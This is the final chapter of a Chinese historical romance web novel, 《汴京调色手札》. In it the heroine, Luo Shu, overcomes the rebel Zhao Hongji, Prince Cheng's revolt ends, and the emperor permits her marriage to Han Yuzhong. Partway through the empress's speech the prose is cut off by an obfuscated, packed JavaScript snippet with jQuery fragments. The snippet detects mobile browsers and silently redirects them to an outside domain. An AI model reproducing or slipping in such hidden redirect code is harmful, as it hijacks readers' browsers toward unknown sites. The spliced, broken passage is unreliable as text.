112. 尾声
作品:《汴京调色手札》 骆抒脸上的血色褪尽,但在极致的恐惧之后,清明反而占据了她的心神。
因为她没有后路,她身边谁都不在。她微微抬起头,用蒙着白布的双眼“望”着对方。
她的声音很轻,却像一把冰锥,轻易瓦解了他的疯狂。
“你走不掉的,赵泓济。”
韩雨钟早告诉了她,汴京城四道城门被严密把守,难进难出。只是没想到,他们藏匿了如此之久,却于今夜发难来围攻国公府。
“这应该是你手里最后一支兵了吧,前院已经被杀了不少,剩余的也会很快被捉拿起来,你没有退路了。”
她努力站稳,与他对峙。
赵泓济身上全是血,向前一步道,“那有什么关系,我能把你带走就行了。”
“你带不走我。”骆抒冷声说道。
他脸上的得意微微一僵,重重哼了一声,“你为何就是不明白我的苦心,我所做的一起都是为了你。为了你我才投到诚王麾下,努力往上爬,为的就是出人头地。也是为了你,我才毅然协助诚王谋反,这样我才能从他身边带走你。”
他眸光一闪,“分明就是他借着世家身份,哄骗了你,诱惑了你,从我身边抢走了你。否则你怎么会如此抗拒我?我到底做错了什么,到今日我都不明白。”
骆抒明白现在要与他周旋,拖延时间,于是答道:“有什么不明白的,因为你骗了我。”
赵泓济大笑起来,本来俊朗的脸庞变得扭曲,“乖阿抒,那是手段而已,就如同诚王谋反又如何,将来他登临帝位,谁敢不顺从他。你我也是,哪怕我耍手段娶了你,可你心里很明白,我会对你好的。都怪你那个阿姑多事,她分明不想叫你再嫁,才出手杀了我爹,搞砸了我们的婚事。否则,你早就是我的妻了。”
骆抒听得气血翻涌,忍不住道:“你我?你让我觉得恶心。”
“恶心?”这两个字彻底刺痛了赵泓济,他眼底翻涌起偏执的疯狂,再次朝骆抒逼近,几乎从牙缝里挤出声音。
“韩雨钟就不恶心?他有什么本事?不是靠着国公就是靠着皇帝。而我,则是凭着自己的本事走到现在!我想要的东西,凭什么得不到!”
骆抒不退反进,仰起头“瞪”着他,“凭什么,凭我不是一个物件,凭我是个人,你拿不走。”
“以前不属于你,现在,以后,生生世世都不属于你!”
赵泓济怒极反笑,环视这间精致的屋子,语气变得危险起来,“好,很好,那你就这里等着,等着我把他的人头提来见你。到时候你就知道,你这辈子能依靠的人只能是我。”
他语气里的笃定让骆抒不解,“你什么意思?”
但赵泓济只是嗤笑一声,“你当真以为诚王就没有后手?不妨告诉你,这附近那座五层高的丰乐楼,已经全被兵士埋伏,架起了无数能够破甲的神臂弩,只要韩雨钟押人回京,等着他们的将是什么?”
骆抒心中巨震,“你真是个疯子。”
他欣赏着骆抒的情态,再度得意起来,“是啊,我就是个疯子。如果你乖乖跟我走,我保证能留你阿姑全尸。”
耳边是他深沉低哑的声音,带着无尽的蛊惑。
骆抒胸膛起伏不停,她现在不能视物,若距离太远,恐怕连偷袭都做不到,只能靠自己的脑子。
她强迫自己冷静下来,凝神去想这一切。赵泓济今夜闯入国公府,用的是调虎离山这一招,他先是在南郊制造混乱,调开了韩雨钟和韩国公,接着让人攻击前院大门,他好从后门闯入来跟骆抒见面。
如果真有埋伏,他为何要以身犯险。可听他如此笃定,又不像没有的样子。
她飞快地思索起来,她和韩雨钟之前演算过无数次,藏匿京中的士兵最多只有五百名。而两路动乱,他手里的兵士应当已经用完了。她相信诚王有后手,但这里是汴京,陛下已经知晓他的计划。就算诚王拼尽最后一丝力气调兵来埋伏,也不会这么快聚集起来。
她坦然一笑,“那你要怎么做?我说了你出不去。就算你能把我带出国公府,也出不了汴京城。”
“你在骗我,丰乐楼根本就没有埋伏,你是想骗我乖乖跟你走。”
赵泓济僵硬一瞬,幽幽道:“你可以不信,等韩雨钟的尸身出现在你面前,你自然就知道了。”
骆抒乘胜追击,“如果真有,你为何不让那支士兵来助你攻下国公府呢?届时你抓住国公夫人和长子,还能逼迫韩国公为你所用。”
他拍掌,“真是个好办法,不过你忘了,我是为你而来。其他人我都不在乎。”
火烛飘摇间,赵泓济穿着大红衣裳,如厉鬼一般,“也是我心里念着,和你一道共赴黄泉也是好的。”
骆抒却笑起来,“和我一起共赴黄泉,何必说得那么情深意重。分明就是你眼见诚王要败了,要拉着我一道死罢了。”
“你从来心里都只想着你自己,何曾有过别人。就连你父亲的死也一样,你分明就是拿来作借口,纠缠我和我阿姑罢了!”
父亲一事再度激怒赵泓济,他紧紧箍住骆抒的脖子,“你住嘴,是你们害死我父亲,我要你们血债血偿,有什么不对!”
骆抒根本无法呼吸,她艰难从齿尖撕扯出字句来,“……如果……如果你真的孝顺,为什么……不给你父亲守孝?”
这句话撕碎了赵泓济的虚伪面目,她继续说,“你就是个输不起的懦夫,是你自己害死了你父亲。”
“住嘴!”赵泓济暴怒,他双目猩红,死死地盯着骆抒。手上使劲,将骆抒连话都说不出来。
可她没有求饶,整个人仿佛无声地说,看你这幅被说中的样子,只能靠着蛮力让我闭嘴,你难道不可悲吗?
赵泓济心头火起,喃喃说道:“我没有输,我没有错。我想为父亲报仇,这没错。我想往上爬,也没错。我想娶自己心爱的人,更没错。”
窒息感越来越重,骆抒却在蓄力,她身上有刀,可只能一击即中。否则等他拿到刀,就不好说了。
两人越靠越近,赵泓济的注意力都放在骆抒的脸上,他盯着这张秀美的脸,“你真的好美,可是我不喜欢你的性子。如果你能安分些,该多好。”
骆抒不再犹豫,用尽全部的力气,将短刀狠狠地刺进赵泓济的腹部!
对方发出一声闷哼,手上的力道骤然一松。
骆抒趁机挣脱,踉跄后退,剧烈地咳嗽。
赵泓济捂住腹部不断流血的伤口,难以置信地看着她。
“你……你竟然……”
随即,他满脸扭曲疯狂,想要朝骆抒扑过来,与她同归于尽。
骆抒身后就是墙壁,再也无法后退,她下意识闭了闭眼,却发现自己的眼睛好似能视物了。接着,她看见阿姑高举着一根擀面杖,重重地敲在赵泓济的后脑上!
他像根软面条一样瘫了上去,不知是死是活。
阿姑扑过来抱住她,“吓死我了,怎么我刚走一会儿,你就被这个混蛋找上了。”
她狠狠踢了对方一脚,吐了口唾沫,“我早说了,你若再来,我就与你搏命!”
骆抒脱力地靠着她,心里一松,解脱般自言自语,“我说了,你带不走我的。”
但事情还未了解,她打起精神问道:“前院怎么样,叛贼可打退了?”
阿姑只担心她,把她全身看了一遍,“韩郎中没用,还不如他娘子!贼人倒是打退了,不过也死伤不少。此时他娘子正带着人收拾残局呢!”
“还有人能用吗?快去给他送信,叛军拟在丰乐楼埋伏,得尽快!”骆抒一把扯掉眼前的布条,着急道。
阿姑应下,还没出门就见一身浴血战甲、征尘未洗的韩雨钟旋风般冲入室内,他目之所及是一片狼藉,地上还躺着个流血的男子。再看骆抒脖子上的掐痕,他霎时意识到发生了什么,整个人面无血色。
骆抒正虚弱地倚在椅边喘息,见他来了,急切说道:“快去丰乐楼,他们还有埋伏的人。”
他却像没听清一般,喉结剧烈地滚动了一下,颤抖的手悬在半空,想碰又不敢碰。
“你……”他的声音带着破碎的沙哑,“你的脖子……”
“我没事,阿姑来得及时。”骆抒又说,“丰乐楼那边要紧,他们是调虎离山,想要全力搏,这是两败俱伤的招数,不让谁好过。”
韩雨钟明白过来,“我知道了。”他逼迫自己从后怕中抽离,重新冷静地决断起来。
怪不得他们始终没有找到诚王,想必那就是最后的藏身之处。此前他一直以为诚王还远在西京,可是没有他亲自来,他手下这些人怎会如此忠心。
他立马命人在丰乐楼四周搜寻,“抓住贼首,记得要活的。”
陛下说的清楚,他有话要问诚王。
要紧的事转告给他,骆抒这才放松下来,长舒一口气。
回首,她才看见韩雨钟眼眶通红,紧张又无措地守着她,目光像是被她颈间的痕迹牢牢吸住。
她启唇笑道:“你怎么不走?脸上还有血,有没有受伤?”
“我要守着你”,韩雨钟反应过来,陷入喜悦和担忧之中,“你能看见我吗?”
骆抒点点头,“其实也养了五六日,刚刚激动之下,好像就能看见了。只是看烛火看久了,有些酸涩。”
听她这么说,韩雨钟手忙脚乱起来,拾起了一旁的布条盖住骆抒的眼睛,“那就别看了,好好歇息,我陪着你,哪里也不去。”声音里带着温柔和哽咽。
他息了大部分烛火,屋内变得昏暗。韩雨钟干脆在骆抒榻前席地而坐。高大的身躯倚着床沿,像是一尊沉默的守护神。
感受着他在身边的呼吸和温度,骆抒觉得心安,眼睛闭上真的轻轻睡着了。
阿姑叫侍卫把赵泓济搬出去后,回来见到这温馨的一幕,嘴上喃喃道:“不合规矩啊,哪有未婚就同居一室的。”
但到底还是退了出去,留给两人独处的时间。
有了确切的消息,底下的人行动很快。他们到达丰乐楼时,敌人还没有部署起来。厮杀一番后将诚王捉住了,他很是自傲,自诩天潢贵胄,岂能死于卑贱小人之手。
竟自己要求要面见陛下。
韩雨钟得知消息时骆抒还没醒,他恋恋不舍地起身,又穿回昨夜那身染血的盔甲,押着诚王进宫去了。
昨夜动静太多,先是南郊起火,后是韩国公府出事,最后是丰乐楼大擒贼首诚王。
陛下也一夜未眠,等着宫外的消息。
只是看见韩雨钟一行浩浩荡荡地进宫来,他有些怅惘。皇后不满斥责他,“如今这一切,不都是陛下心软惹出来的吗?为君者雷霆雨露皆是君
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504538|177628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恩,一味地顾忌骨肉,昨夜死的人就不是别人的骨肉?”
皇后说得难听,但也中肯。陛下听在心里,念叨道:“我知道,可我不心软,也留不下雨钟的命啊。”
两件事也好比较的?皇后翻了个白眼,与他一同等着审问诚王。
诚王满身脏污,鬓发皆乱,是被人押上殿的。
他高昂着头,目光如火般直视上首的陛下和皇后,眼神中没有一丝心虚、愧疚,连演都不演了。
陛下一看,就知道他绝无认罪的意思。
他低声轻叹,先看向韩雨钟。韩雨钟明白陛下的意思,他要屏退左右,和诚王私下谈话。
上一回诚王犯错,也是私下谈的。也不知,陛下这一次会不会放过诚王。
等人全走了,陛下才幽幽开口,“你为何要这样?我给你的还不够多吗?”
尊荣、富贵你什么没有,就算让你来当这个皇帝,你能当好吗?
诚王不屑一笑,“你给我的是多,可我为你的难道就少了吗?二十年了,你让我做什么我没做,如今却被你永囚于西京,像个罪人一样。难道我这二十年,就为了这个下场吗?”
“所以我干脆自己来拿,是死是活我都觉得痛快!”
他这幅死不悔改的样子,让陛下沉默了。
皇后嗤笑一声,“普天之下为陛下做事的人多了,难道都如你这样想?”
依她说,诚王就是尊荣太过,巴掌挨得太少。
诚王被激得眼红,“可我是你的弟弟,我不是那些庶民。”
“这二十年我难道不是忠心耿耿?不过是一处矿藏,就罚得如此之重?”
皇后气不打一处来,她挥袖而去,不愿多言了。
殿里只剩下兄弟二人,半晌陛下才开口,“你觉得重?若不是顾忌皇室的颜面,你早死了几道!”
“如今尚嫌朕不够宽宥!若不是你是我弟弟,我能容忍你到今日!”
陛下额角青筋暴起,已经忍无可忍。
诚王泪流满面,“我不需要你的容忍和怜悯,我只怪自己手里无兵,起事不成,我认输。”
这些话在陛下心头滚了两遭,“原来你把我视作敌人。”
他也不再说下去,让人把诚王带了下去。
“赐死吧。”
言罢,他好像苍老了许多,疲惫地闭上眼。
韩雨钟看着诚王又被押了出来,形同槁木一般,像是喘气的死人。
一夜的血火和纷扰结束,初雪将万物涤清。
只是陛下还有话同韩雨钟说,他赏罚分明,同时对韩雨钟心情复杂,满含疼惜和感激。
他宣韩雨钟进殿,“雨钟,你此次居功至伟,朕心甚慰。说吧,你想要什么赏赐。”
韩雨钟再次跪下,“臣愧不敢当,只是这一次平叛,也有骆尚宫一份功劳,是她从诚王心腹赵泓济口中得知丰乐楼的安排,臣才能将他们一网打尽。”
陛下笑问,“就是你说那个生了一双慧眼,特意为她求了尚宫一位,开设辩色司的骆娘子是吗?”
韩雨钟回答,“正是。”
一个男人为女人做到这个地步,他对她是什么感情不言而喻。
陛下有点犯难,他其实想让韩雨钟娶一位高贵的妻子。可他看下来,似乎韩雨钟并不情愿。
韩雨钟轻咳一声,朗声道:“陛下,臣今日之功,皆赖陛下信重。臣别无长物,唯有此次功劳尚可一用。臣斗胆,向陛下换一个恩典。臣与她两心相惜,唯求白首。愿陛下允臣自主婚事,于臣便是圆满,余愿足矣。”
这番话情真意切,听得陛下也很动容,只是他又问,“以你今时今日的地位,这样一位妻子并不匹配,你难道不怕别人因她来辱没你吗?”
韩雨钟抬起头,脸上没有半分迟疑,反而露出一抹平静而傲然的笑容。
“陛下,臣的尊严与名声,不是靠妻子的身份来维系的。至于辱没?臣只会觉得,那些以此为缘由非议臣的人,其心可鄙,其言可憎。能娶她为妻,是臣之幸。”
他字字句句铿锵有力,陛下无法再多说什么。
“既然你心意已定,那朕便允你婚事自主。朕多嘴问一句,人家答应你了吗?”
这句话臊得韩雨钟满脸通红,“答应了的。”
引得陛下哈哈大笑。
出宫后,韩雨钟顿感一身轻松,他的神魂早已飞到国公府,恨不得立刻迎娶骆抒。
等人到了,却情怯起来。
骆抒已经醒了,阿姑给她请了老大夫过来看,说是眼睛好了一大半,可以不用敷药了,慢慢养着便好。
她闲来无事,又不能读书写字的。见窗外雪光莹莹又不刺眼,便穿上棉衣到院中摘梅花。
初雪飘飘荡荡地落在她身上,衬得整个人如同雪中仙子一般,不敢靠近。
韩雨钟深吸一口气,快步靠近她,满腔柔情无处发泄,一把抱住了人,头埋在肩膀处深深吸了两口。
骆抒展颜一笑,“怎么了?”
他握住她的手,雪花落在他们相携的手上,又悄然融化。
雪后初霁,韩雨钟看着她,一字一句地说,“陛下允了我。等开春,我们就成婚。”
一眼望去,整个汴京城都被白雪温柔地覆盖,骆抒轻声说,“瑞雪兆丰年,明年一定会很好。”

